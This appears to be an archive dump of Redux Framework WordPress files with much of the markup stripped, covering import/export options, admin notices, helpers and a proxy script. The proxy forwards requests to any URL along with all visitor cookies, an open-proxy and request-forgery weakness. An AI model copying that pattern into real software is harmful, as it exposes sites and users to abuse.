    ' . $this->parent->field_head[ $field['id'] ] . ''; //$field['data-customize-setting-link'] = array( // 'name' => $field['name'], // 'suffix' => isset($field['name_suffix']) ? $field['name_suffix'] : '' //); // $field['name'] = $field['id']; $this->parent->_field_input( $field ); echo '
    render_content(); ?>
  • ' . esc_html( $this->title ) . '' ); ?>
    description ) ) : ?>
    description; ?>
  • {{ data.title }}' ); ?> <# if ( data.description ) { #> <# } #>
    <# if ( data.description ) { #>
    {{{ data.description }}}
    <# } #>
  • Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/customizer/.htaccess000064400000001626147206624460017426 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/import_export/extension_import_export.php000064400000020461147206624460024055 0ustar00. * * @package ReduxFramework * @author Dovy Paukstys (dovy) * @version 4.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_extension_import_export' ) ) { /** * Main ReduxFramework import_export extension class * * @since 3.1.6 */ class ReduxFramework_extension_import_export { // Protected vars protected $parent; public $extension_url; public $extension_dir; public static $theInstance; public static $version = "4.0"; public $is_field = false; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * * @param array $sections Panel sections. * @param array $args Class constructor arguments. * @param array $extra_tabs Extra panel tabs. * * @return void */ public function __construct( $parent ) { $this->parent = $parent; if ( empty( $this->extension_dir ) ) { //$this->extension_dir = trailingslashit( str_replace( '\\', '/', dirname( __FILE__ ) ) ); } $this->field_name = 'import_export'; self::$theInstance = $this; add_action( "wp_ajax_redux_link_options-" . $this->parent->args['opt_name'], array( $this, "link_options" ) ); add_action( "wp_ajax_nopriv_redux_link_options-" . $this->parent->args['opt_name'], array( $this, "link_options" ) ); add_action( "wp_ajax_redux_download_options-" . $this->parent->args['opt_name'], array( $this, "download_options" ) ); add_action( "wp_ajax_nopriv_redux_download_options-" . $this->parent->args['opt_name'], array( $this, "download_options" ) ); do_action( "redux/options/{$this->parent->args['opt_name']}/import", array( $this, 'remove_cookie' ) ); $this->is_field = Redux_Helpers::isFieldInUse( $parent, 'import_export' ); if ( ! $this->is_field && $this->parent->args['show_import_export'] ) { $this->add_section(); } add_filter( 'redux/' . $this->parent->args['opt_name'] . '/field/class/' . $this->field_name, array( &$this, 'overload_field_path' ) ); // Adds the local field add_filter( 'upload_mimes', array( $this, 'custom_upload_mimes' ) ); } /** * Adds the appropriate mime types to WordPress * * @param array $existing_mimes * * @return array */ function custom_upload_mimes( $existing_mimes = array() ) { $existing_mimes['redux'] = 'application/redux'; return $existing_mimes; } public function add_section() { $this->parent->sections[] = array( 'id' => 'import/export', 'title' => __( 'Import / Export', 'redux-framework' ), 'heading' => '', 'icon' => 'el el-refresh', 'customizer' => false, 'fields' => array( array( 'id' => 'redux_import_export', 'type' => 'import_export', //'class' => 'redux-field-init redux_remove_th', //'title' => '', 'full_width' => true, ) ), ); } function link_options() { if ( ! isset( $_GET['secret'] ) || $_GET['secret'] != md5( md5( Redux_Helpers::get_auth_key_secret_key() ) . '-' . $this->parent->args['opt_name'] ) ) { wp_die( 'Invalid Secret for options use' ); exit; } $var = $this->parent->options; $var['redux-backup'] = '1'; if ( isset( $var['REDUX_imported'] ) ) { unset( $var['REDUX_imported'] ); } echo json_encode( $var ); die(); } public function download_options() { if ( ! isset( $_GET['secret'] ) || $_GET['secret'] != md5( md5( Redux_Helpers::get_auth_key_secret_key() ) . '-' . $this->parent->args['opt_name'] ) ) { wp_die( 'Invalid Secret for options use' ); exit; } $this->parent->get_options(); $backup_options = $this->parent->options; $backup_options['redux-backup'] = '1'; if ( isset( $backup_options['REDUX_imported'] ) ) { unset( $backup_options['REDUX_imported'] ); } // No need to escape this, as it's been properly escaped previously and through json_encode $content = json_encode( $backup_options ); if ( isset( $_GET['action'] ) && $_GET['action'] == 'redux_download_options-' . $this->parent->args['opt_name'] ) { header( 'Content-Description: File Transfer' ); header( 'Content-type: application/txt' ); header( 'Content-Disposition: attachment; filename="redux_options_' . $this->parent->args['opt_name'] . '_backup_' . date( 'd-m-Y' ) . '.json"' ); header( 'Content-Transfer-Encoding: binary' ); header( 'Expires: 0' ); header( 'Cache-Control: must-revalidate' ); header( 'Pragma: public' ); echo $content; exit; } else { header( "Expires: Mon, 26 Jul 1997 05:00:00 GMT" ); header( "Last-Modified: " . gmdate( "D, d M Y H:i:s" ) . "GMT" ); header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' ); header( 'Cache-Control: no-store, no-cache, must-revalidate' ); header( 'Cache-Control: post-check=0, pre-check=0', false ); header( 'Pragma: no-cache' ); // Can't include the type. Thanks old Firefox and IE. BAH. //header("Content-type: application/json"); echo $content; exit; } } // Forces the use of the embeded field path vs what the core typically would use public function overload_field_path( $field ) { return dirname( __FILE__ ) . '/' . $this->field_name . '/field_' . $this->field_name . '.php'; } public function remove_cookie() { // Remove the import/export tab cookie. if ( $_COOKIE['redux_current_tab'] == 'import_export_default' ) { setcookie( 'redux_current_tab', '', 1, '/' ); $_COOKIE['redux_current_tab'] = 1; } } } } lib/redux-framework/inc/extensions/import_export/import_export/field_import_export.min.js000064400000005273147206624460026452 0ustar00!function(o){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.import_export=redux.field_objects.import_export||{},redux.field_objects.import_export.init=function(e){e||(e=o(document).find(".redux-group-tab:visible").find(".redux-container-import_export:visible")),o(e).each(function(){var e=o(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.each(function(){o("#redux-import").click(function(e){if(""===o("#import-code-value").val()&&""===o("#import-link-value").val())return e.preventDefault(),!1}),o(this).find("#redux-import-code-button").click(function(){var e=o("#redux-import-code-wrapper");o("#redux-import-link-wrapper").is(":visible")?(o("#import-link-value").text(""),o("#redux-import-link-wrapper").slideUp("fast",function(){e.slideDown("fast",function(){o("#import-code-value").focus()})})):e.is(":visible")?e.slideUp():e.slideDown("medium",function(){o("#import-code-value").focus()})}),o(this).find("#redux-import-link-button").click(function(){var e=o("#redux-import-link-wrapper");o("#redux-import-code-wrapper").is(":visible")?(o("#import-code-value").text(""),o("#redux-import-code-wrapper").slideUp("fast",function(){e.slideDown("fast",function(){o("#import-link-value").focus()})})):e.is(":visible")?e.slideUp():e.slideDown("medium",function(){o("#import-link-value").focus()})}),o(this).find("#redux-export-code-copy").click(function(){var e=o("#redux-export-code");o("#redux-export-link-value").is(":visible")?o("#redux-export-link-value").slideUp("fast",function(){e.slideDown("medium",function(){var e=redux.options;e["redux-backup"]=1,o(this).text(JSON.stringify(e)).focus().select()})}):e.is(":visible")?e.slideUp().text(""):e.slideDown("medium",function(){var e=redux.options;e["redux-backup"]=1,o(this).text(JSON.stringify(e)).focus().select()})}),o(this).find("textarea").focusout(function(){var e=o(this).attr("id"),i=o(this),t=i;"import-link-value"!=e&&"import-code-value"!=e||(t=o(this).parent()),t.slideUp("medium",function(){"redux-export-link-value"!=e&&i.text("")})}),o(this).find("#redux-export-link").click(function(){var e=o("#redux-export-link-value");o("#redux-export-code").is(":visible")?o("#redux-export-code").slideUp("fast",function(){e.slideDown().focus().select()}):e.is(":visible")?e.slideUp():e.slideDown("medium",function(){o(this).focus().select()})});var e=document.getElementById("redux-export-code");e.onfocus=function(){e.select(),e.onmouseup=function(){return e.onmouseup=null,!1}};var i=document.getElementById("import-code-value");i.onfocus=function(){i.select(),i.onmouseup=function(){return i.onmouseup=null,!1}}}))})}}(jQuery);lib/redux-framework/inc/extensions/import_export/import_export/field_import_export.css000064400000000246147206624460026037 0ustar00#redux-import-link-wrapper,#redux-import-code-wrapper{display:none}#redux-export-code,#redux-export-link-value{display:none}#redux-import-action span{color:#B94A48} lib/redux-framework/inc/extensions/import_export/import_export/field_import_export.php000064400000021634147206624460026042 0ustar00. * * @package ReduxFramework * @author Dovy Paukstys * @version 3.1.5 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_import_export' ) ) { /** * Main ReduxFramework_import_export class * * @since 1.0.0 */ class ReduxFramework_import_export extends ReduxFramework { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value , $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; $this->is_field = $this->parent->extensions['import_export']->is_field; $this->extension_dir = ReduxFramework::$_dir . 'inc/extensions/import_export/'; $this->extension_url = ReduxFramework::$_url . 'inc/extensions/import_export/'; // Set default args for this field to avoid bad indexes. Change this to anything you use. $defaults = array( 'options' => array(), 'stylesheet' => '', 'output' => true, 'enqueue' => true, 'enqueue_frontend' => true ); $this->field = wp_parse_args( $this->field, $defaults ); } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $secret = md5( md5( Redux_Helpers::get_auth_key_secret_key() ) . '-' . $this->parent->args['opt_name'] ); // No errors please $defaults = array( 'full_width' => true, 'overflow' => 'inherit', ); $this->field = wp_parse_args( $this->field, $defaults ); $bDoClose = false; // $this->parent->args['opt_name'] & $this->field['id'] are sanitized in the ReduxFramework class, no need to re-sanitize it. $id = $this->parent->args['opt_name'] . '-' . $this->field['id']; // $this->field['type'] && $this->field['id'] is sanitized in the ReduxFramework class, no need to re-sanitize it. ?>

    parent->args['opt_name'] is sanitized in the ReduxFramework class, no need to re-sanitize it. ?>

      

     

    parent->args['opt_name'] is sanitized in the ReduxFramework class, no need to re-sanitize it. $link = esc_url( admin_url( 'admin-ajax.php?action=redux_download_options-' . $this->parent->args['opt_name'] . '&secret=' . $secret ) ); ?>

    extension_url . 'import_export/field_import_export' . Redux_Functions::isMin() . '.js', array( 'jquery' ), ReduxFramework_extension_import_export::$version, true ); wp_enqueue_style( 'redux-import-export', $this->extension_url . 'import_export/field_import_export.css', time(), true ); } /** * Output Function. * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if ( $this->field['enqueue_frontend'] ) { } } } } lib/redux-framework/inc/extensions/import_export/import_export/field_import_export.scss000064400000000305147206624460026216 0ustar00#redux-import-link-wrapper, #redux-import-code-wrapper { display: none; } #redux-export-code, #redux-export-link-value { display: none; } #redux-import-action span { color: #B94A48; }lib/redux-framework/inc/extensions/import_export/import_export/field_import_export.js000064400000022674147206624460025674 0ustar00/*global jQuery, document, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.import_export = redux.field_objects.import_export || {}; redux.field_objects.import_export.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-import_export:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.each( function() { $( '#redux-import' ).click( function( e ) { if ( $( '#import-code-value' ).val() === "" && $( '#import-link-value' ).val() === "" ) { e.preventDefault(); return false; } } ); $( this ).find( '#redux-import-code-button' ).click( function() { var $el = $( '#redux-import-code-wrapper' ); if ( $( '#redux-import-link-wrapper' ).is( ':visible' ) ) { $( '#import-link-value' ).text( '' ); $( '#redux-import-link-wrapper' ).slideUp( 'fast', function() { $el.slideDown( 'fast', function() { $( '#import-code-value' ).focus(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( '#import-code-value' ).focus(); } ); } } } ); $( this ).find( '#redux-import-link-button' ).click( function() { var $el = $( '#redux-import-link-wrapper' ); if ( $( '#redux-import-code-wrapper' ).is( ':visible' ) ) { $( '#import-code-value' ).text( '' ); $( '#redux-import-code-wrapper' ).slideUp( 'fast', function() { $el.slideDown( 'fast', function() { $( '#import-link-value' ).focus(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( '#import-link-value' ).focus(); } ); } } } ); $( this ).find( '#redux-export-code-copy' ).click( function() { var $el = $( '#redux-export-code' ); if ( $( '#redux-export-link-value' ).is( ':visible' ) ) { $( '#redux-export-link-value' ).slideUp( 'fast', function() { $el.slideDown( 'medium', function() { var options = redux.options; options['redux-backup'] = 1; $( this ).text( JSON.stringify( options ) ).focus().select(); } ); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp().text( '' ); } else { $el.slideDown( 'medium', function() { var options = redux.options; options['redux-backup'] = 1; $( this ).text( JSON.stringify( options ) ).focus().select(); } ); } } } ); $( this ).find( 'textarea' ).focusout( function() { var $id = $( this ).attr( 'id' ); var $el = $( this ); var $container = $el; if ( $id == "import-link-value" || $id == "import-code-value" ) { $container = $( this ).parent(); } $container.slideUp( 'medium', function() { if ( $id != "redux-export-link-value" ) { $el.text( '' ); } } ); } ); $( this ).find( '#redux-export-link' ).click( function() { var $el = $( '#redux-export-link-value' ); if ( $( '#redux-export-code' ).is( ':visible' ) ) { $( '#redux-export-code' ).slideUp( 'fast', function() { $el.slideDown().focus().select(); } ); } else { if ( $el.is( ':visible' ) ) { $el.slideUp(); } else { $el.slideDown( 'medium', function() { $( this ).focus().select(); } ); } } } ); var textBox1 = document.getElementById( "redux-export-code" ); textBox1.onfocus = function() { textBox1.select(); // Work around Chrome's little problem textBox1.onmouseup = function() { // Prevent further mouseup intervention textBox1.onmouseup = null; return false; }; }; var textBox2 = document.getElementById( "import-code-value" ); textBox2.onfocus = function() { textBox2.select(); // Work around Chrome's little problem textBox2.onmouseup = function() { // Prevent further mouseup intervention textBox2.onmouseup = null; return false; }; }; } ); } ); }; })( jQuery ); lib/redux-framework/inc/extensions/import_export/import_export/.htaccess000064400000001626147206624460023050 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/import_export/.htaccess000064400000001626147206624460020135 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/.htaccess000064400000001626147206624460015222 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/extensions/README.txt000064400000000100147206624460015104 0ustar00This directory is a placeholder for Redux Framework extensions. lib/redux-framework/inc/class.p.php000064400000026332147206624460013302 0ustar00 and // are disabled by default, see for more information. // callback - If specified, the response JSON will be wrapped in this named // function call. This parameter and are disabled by // default, see for more information. // user_agent - This value will be sent to the remote URL request as the // `User-Agent:` HTTP request header. If omitted, the browser user agent // will be passed through. // send_cookies - If send_cookies=1, all cookies will be forwarded through to // the remote URL request. // send_session - If send_session=1 and send_cookies=1, the SID cookie will be // forwarded through to the remote URL request. // full_headers - If a JSON request and full_headers=1, the JSON response will // contain detailed header information. // full_status - If a JSON request and full_status=1, the JSON response will // contain detailed cURL status information, otherwise it will just contain // the `http_code` property. // // Topic: POST Parameters // // All POST parameters are automatically passed through to the remote URL // request. // // Topic: JSON requests // // This request will return the contents of the specified url in JSON format. // // Request: // // > ba-simple-proxy.php?url=http://example.com/ // // Response: // // > { "contents": "...", "headers": {...}, "status": {...} } // // JSON object properties: // // contents - (String) The contents of the remote URL resource. // headers - (Object) A hash of HTTP headers returned by the remote URL // resource. // status - (Object) A hash of status codes returned by cURL. // // Topic: JSONP requests // // This request will return the contents of the specified url in JSONP format // (but only if $enable_jsonp is enabled in the PHP script). // // Request: // // > ba-simple-proxy.php?url=http://example.com/&callback=foo // // Response: // // > foo({ "contents": "...", "headers": {...}, "status": {...} }) // // JSON object properties: // // contents - (String) The contents of the remote URL resource. // headers - (Object) A hash of HTTP headers returned by the remote URL // resource. // status - (Object) A hash of status codes returned by cURL. // // Topic: Native requests // // This request will return the contents of the specified url in the format it // was received in, including the same content-type and other headers (but only // if $enable_native is enabled in the PHP script). // // Request: // // > ba-simple-proxy.php?url=http://example.com/&mode=native // // Response: // // > ... // // Topic: Notes // // * Assumes magic_quotes_gpc = Off in php.ini // // Topic: Configuration Options // // These variables can be manually edited in the PHP file if necessary. // // $enable_jsonp - Only enable if you really need to. If you // install this script on the same server as the page you're calling it // from, plain JSON will work. Defaults to false. // $enable_native - You can enable , but you should only do // this if you also whitelist specific URLs using $valid_url_regex, to avoid // possible XSS vulnerabilities. Defaults to false. // $valid_url_regex - This regex is matched against the url parameter to // ensure that it is valid. This setting only needs to be used if either // $enable_jsonp or $enable_native are enabled. Defaults to '/.*/' which // validates all URLs. // // ############################################################################ $_GET['mode'] = "native"; $_GET['full_headers'] = 1; $_GET['full_status'] = 1; $_GET['send_cookies'] = 1; // Change these configuration options if needed, see above descriptions for info. $enable_jsonp = false; $enable_native = true; $valid_url_regex = '/.*/'; // ############################################################################ $url = $_GET['url']; if ( isset( $_GET['nonce'] ) ) { $url = str_replace( 'nonce=' . $_GET['nonce'] . '&', '', $url ); } if ( ! $url ) { // Passed url not specified. $contents = 'ERROR: url not specified'; $status = array( 'http_code' => 'ERROR' ); } else if ( ! preg_match( $valid_url_regex, $url ) ) { // Passed url doesn't match $valid_url_regex. $contents = 'ERROR: invalid url'; $status = array( 'http_code' => 'ERROR' ); } else { $url = urldecode( $url ); if ( isset( $_GET['proxy'] ) ) { $url .= '&proxy=' . $_GET['proxy']; } // Ad URL rewrite if ( strpos( $url, 'http' ) === false ) { $url = 'http:' . $url; } if ( isset( $_GET['callback'] ) ) { foreach ( $_GET as $key => $value ) { if ( in_array( $key, array( 'url', 'mode', 'full_headers', 'full_status', 'send_cookies' ) ) ) { continue; } $url .= "&" . $key . '=' . $value; } } $args = array( 'user-agent' => isset( $_GET['user_agent'] ) ? $_GET['user_agent'] : $_SERVER['HTTP_USER_AGENT'], 'method' => 'GET', ); if ( isset( $_GET['send_cookies'] ) && $_GET['send_cookies'] ) { $cookie = array(); foreach ( $_COOKIE as $key => $value ) { if ( ! is_array( $value ) ) { $cookie[] = $key . '=' . $value; } } if ( isset( $_GET['send_session'] ) && $_GET['send_session'] ) { $cookie[] = SID; } $args['cookies'] = $cookie; } if ( strtolower( $_SERVER['REQUEST_METHOD'] ) == 'post' ) { $args['body'] = $_POST; $args['method'] = 'POST'; } $response = wp_remote_request( $url, $args ); if ( ! is_wp_error( $response ) ) { $status = $response['response']['code']; $contents = $response['body']; } } if ( isset( $_GET['mode'] ) && $_GET['mode'] == 'native' ) { if ( ! $enable_native ) { $contents = 'ERROR: invalid mode'; $status = array( 'http_code' => 'ERROR' ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['content-type'] ) ) { header( 'Content-Type: ' . $response['headers']['content-type'] ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['content-language'] ) ) { header( 'Content-Language: ' . $response['headers']['content-language'] ); } if ( ! is_wp_error( $response ) && isset( $response['headers']['set-cookie'] ) ) { header( 'Set-Cookie: ' . $response['headers']['set-cookie'] ); } if ( isset( $contents ) ) { print str_replace( 'ads.redux.io', 'look.redux.io', $contents ); } } else { // $data will be serialized into JSON data. $data = array(); // Propagate all HTTP headers into the JSON data object. if ( isset( $_GET['full_headers'] ) && $_GET['full_headers'] ) { $data['headers'] = array(); } // Propagate all cURL request / response info to the JSON data object. if ( isset( $_GET['full_status'] ) && $_GET['full_status'] ) { $data['status'] = $status; } else { $data['status'] = array(); $data['status']['http_code'] = $status['http_code']; } // Set the JSON data object contents, decoding it from JSON if possible. $decoded_json = json_decode( $contents ); $data['contents'] = str_replace( 'e(window).width()', 'window.innerWidth||e(window).width()', $decoded_json ? $decoded_json : $contents ); // Generate appropriate content-type header. $is_xhr = isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) ? strtolower( $_SERVER['HTTP_X_REQUESTED_WITH'] ) : 'xmlhttprequest'; header( 'Content-type: application/' . ( $is_xhr ? 'json' : 'x-javascript' ) ); // Get JSONP callback. $jsonp_callback = $enable_jsonp && isset( $_GET['callback'] ) ? $_GET['callback'] : null; // Generate JSON/JSONP string $json = json_encode( $data ); print $jsonp_callback ? "$jsonp_callback($json)" : $json; } } } new Redux_P(); lib/redux-framework/inc/class.redux_admin_notices.php000064400000021246147206624460017065 0ustar00admin_notices[$parent->args['page_slug']][] = array( 'type' => $type, 'msg' => $msg, 'id' => $id . '_' . $parent->args['opt_name'], 'dismiss' => $dismiss, 'color' => isset($color) ? $color : '#00A2E3' ); } /** * adminNotices - Evaluates user dismiss option for displaying admin notices * * @since 3.2.0 * @access public * @return void */ public static function adminNotices($parent, $notices = array() ) { global $current_user, $pagenow, $wp_version;; // Check for an active admin notice array if ( ! empty( $notices ) ) { if (isset($_GET) && isset($_GET['page']) && $_GET['page'] == $parent->args['page_slug']) { // Enum admin notices foreach ( $notices[$parent->args['page_slug']] as $notice ) { $add_style = ''; if ( strpos( $notice['type'], 'redux-message' ) != false ) { $add_style = 'style="border-left: 4px solid ' . esc_attr( $notice['color'] ) . '!important;"'; } if ( true == $notice['dismiss'] ) { // Get user ID $userid = $current_user->ID; if ( ! get_user_meta( $userid, 'ignore_' . $notice['id'] ) ) { // Check if we are on admin.php. If we are, we have // to get the current page slug and tab, so we can // feed it back to Wordpress. Why> admin.php cannot // be accessed without the page parameter. We add the // tab to return the user to the last panel they were // on. $pageName = ''; $curTab = ''; if ( $pagenow == 'admin.php' || $pagenow == 'themes.php' ) { // Get the current page. To avoid errors, we'll set // the redux page slug if the GET is empty. $pageName = empty( $_GET['page'] ) ? '&page=' . $parent->args['page_slug'] : '&page=' . esc_attr( $_GET['page'] ); // Ditto for the current tab. $curTab = empty( $_GET['tab'] ) ? '&tab=0' : '&tab=' . esc_attr( $_GET['tab'] ); } // Print the notice with the dismiss link if ( version_compare( $wp_version, '4.2', '>' ) ) { $output = ""; $css_id = esc_attr( $notice['id'] ) . $pageName . $curTab; $css_class = esc_attr( $notice['type'] ) . ' redux-notice notice is-dismissible redux-notice'; $output .= "
    \n"; $nonce = wp_create_nonce( $notice['id'] . $userid . 'nonce' ); $output .= " \n"; $output .= '

    ' . wp_kses_post( $notice['msg'] ) . '

    '; $output .= "
    \n"; echo $output; } else { echo '

    ' . wp_kses_post( $notice['msg'] ) . '  ' . esc_html__( 'Dismiss', 'redux-framework' ) . '.

    '; } } } else { // Standard notice echo '

    ' . wp_kses_post( $notice['msg'] ) . '.

    '; } ?> admin_notices[$parent->args['opt_name']] = array(); } } /** * dismissAdminNotice - Updates user meta to store dismiss notice preference * * @since 3.2.0 * @access public * @return void */ public static function dismissAdminNotice() { global $current_user; // Verify the dismiss and id parameters are present. if ( isset( $_GET['dismiss'] ) && isset( $_GET['id'] ) ) { if ( 'true' == $_GET['dismiss'] || 'false' == $_GET['dismiss'] ) { // Get the user id $userid = $current_user->ID; // Get the notice id $id = esc_attr( $_GET['id'] ); $val = esc_attr( $_GET['dismiss'] ); // Add the dismiss request to the user meta. update_user_meta( $userid, 'ignore_' . $id, $val ); } } } /** * dismissAdminNotice - Updates user meta to store dismiss notice preference * * @since 3.2.0 * @access public * @return void */ public static function dismissAdminNoticeAJAX() { global $current_user; // Get the notice id $id = explode( '&', $_POST['id'] ); $id = $id[0]; // Get the user id $userid = $current_user->ID; if ( ! wp_verify_nonce( $_POST['nonce'], $id . $userid . 'nonce' ) ) { die( 0 ); } else { // Add the dismiss request to the user meta. update_user_meta( $userid, 'ignore_' . $id, true ); } } } // Redux_Admin_Notices::load(); } lib/redux-framework/inc/class.redux_helpers.php000064400000056647147206624460015730 0ustar00sections as $k => $section ) { if ( ! isset( $section['title'] ) ) { continue; } if ( isset( $section['fields'] ) && ! empty( $section['fields'] ) ) { if ( Redux_Helpers::recursive_array_search( $field, $section['fields'] ) ) { return $k; continue; } } } } public static function isFieldInUseByType( $fields, $field = array() ) { foreach ( $field as $name ) { if ( array_key_exists( $name, $fields ) ) { return true; } } return false; } public static function get_auth_key_secret_key() { $key = ""; $key .= defined( 'AUTH_KEY' ) ? AUTH_KEY : get_site_url(); $key .= defined( 'SECURE_AUTH_KEY' ) ? SECURE_AUTH_KEY : get_site_url(); return $key; } public static function isFieldInUse( $parent, $field ) { foreach ( $parent->sections as $k => $section ) { if ( ! isset( $section['title'] ) ) { continue; } if ( isset( $section['fields'] ) && ! empty( $section['fields'] ) ) { if ( Redux_Helpers::recursive_array_search( $field, $section['fields'] ) ) { return true; continue; } } } } public static function major_version( $v ) { $version = explode( '.', $v ); if ( count( $version ) > 1 ) { return $version[0] . '.' . $version[1]; } else { return $v; } } public static function isLocalHost() { return ( isset( $_SERVER['REMOTE_ADDR'] ) && ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' || $_SERVER['REMOTE_ADDR'] === 'localhost' ) ) ? 1 : 0; } public static function isWpDebug() { return ( defined( 'WP_DEBUG' ) && WP_DEBUG == true ); } public static function getTrackingObject() { global $wpdb; $hash = md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ); global $blog_id, $wpdb; $pts = array(); foreach ( get_post_types( array( 'public' => true ) ) as $pt ) { $count = wp_count_posts( $pt ); $pts[ $pt ] = $count->publish; } $comments_count = wp_count_comments(); $theme_data = wp_get_theme(); $theme = array( 'version' => $theme_data->Version, 'name' => $theme_data->Name, 'author' => $theme_data->Author, 'template' => $theme_data->Template, ); if ( ! function_exists( 'get_plugin_data' ) ) { if ( file_exists( ABSPATH . 'wp-admin/includes/plugin.php' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if ( file_exists( ABSPATH . 'wp-admin/includes/admin.php' ) ) { require_once ABSPATH . 'wp-admin/includes/admin.php'; } } $plugins = array(); foreach ( get_option( 'active_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } if ( is_multisite() ) { foreach ( get_option( 'active_sitewide_plugins', array() ) as $plugin_path ) { $plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_path ); $slug = str_replace( '/' . basename( $plugin_path ), '', $plugin_path ); $plugins[ $slug ] = array( 'version' => $plugin_info['Version'], 'name' => $plugin_info['Name'], 'plugin_uri' => $plugin_info['PluginURI'], 'author' => $plugin_info['AuthorName'], 'author_uri' => $plugin_info['AuthorURI'], ); } } $version = explode( '.', PHP_VERSION ); $version = array( 'major' => $version[0], 'minor' => $version[0] . '.' . $version[1], 'release' => PHP_VERSION ); $user_query = new WP_User_Query( array( 'blog_id' => $blog_id, 'count_total' => true, ) ); $comments_query = new WP_Comment_Query(); $data = array( '_id' => $hash, 'localhost' => ( $_SERVER['REMOTE_ADDR'] === '127.0.0.1' ) ? 1 : 0, 'php' => $version, 'site' => array( 'hash' => $hash, 'version' => get_bloginfo( 'version' ), 'multisite' => is_multisite(), 'users' => $user_query->get_total(), 'lang' => get_locale(), 'wp_debug' => ( defined( 'WP_DEBUG' ) ? WP_DEBUG ? true : false : false ), 'memory' => WP_MEMORY_LIMIT, ), 'pts' => $pts, 'comments' => array( 'total' => $comments_count->total_comments, 'approved' => $comments_count->approved, 'spam' => $comments_count->spam, 'pings' => $comments_query->query( array( 'count' => true, 'type' => 'pingback' ) ), ), 'options' => apply_filters( 'redux/tracking/options', array() ), 'theme' => $theme, 'redux' => array( 'mode' => ReduxFramework::$_is_plugin ? 'plugin' : 'theme', 'version' => ReduxFramework::$_version, 'demo_mode' => get_option( 'ReduxFrameworkPlugin' ), ), 'developer' => apply_filters( 'redux/tracking/developer', array() ), 'plugins' => $plugins, ); $parts = explode( ' ', $_SERVER['SERVER_SOFTWARE'] ); $software = array(); foreach ( $parts as $part ) { if ( $part[0] == "(" ) { continue; } if ( strpos( $part, '/' ) !== false ) { $chunk = explode( "/", $part ); $software[ strtolower( $chunk[0] ) ] = $chunk[1]; } } $software['full'] = $_SERVER['SERVER_SOFTWARE']; $data['environment'] = $software; $data['environment']['mysql'] = $wpdb->db_version(); // if ( function_exists( 'mysqli_get_server_info' ) ) { // $link = mysqli_connect() or die( "Error " . mysqli_error( $link ) ); // $data['environment']['mysql'] = mysqli_get_server_info( $link ); // } else if ( class_exists( 'PDO' ) && method_exists( 'PDO', 'getAttribute' ) ) { // $data['environment']['mysql'] = PDO::getAttribute( PDO::ATTR_SERVER_VERSION ); // } else { // $data['environment']['mysql'] = mysql_get_server_info(); // } if ( empty( $data['developer'] ) ) { unset( $data['developer'] ); } return $data; } public static function trackingObject() { $data = wp_remote_post( 'http://verify.redux.io', array( 'body' => array( 'hash' => $_GET['action'], 'site' => esc_url( home_url( '/' ) ), ) ) ); $data['body'] 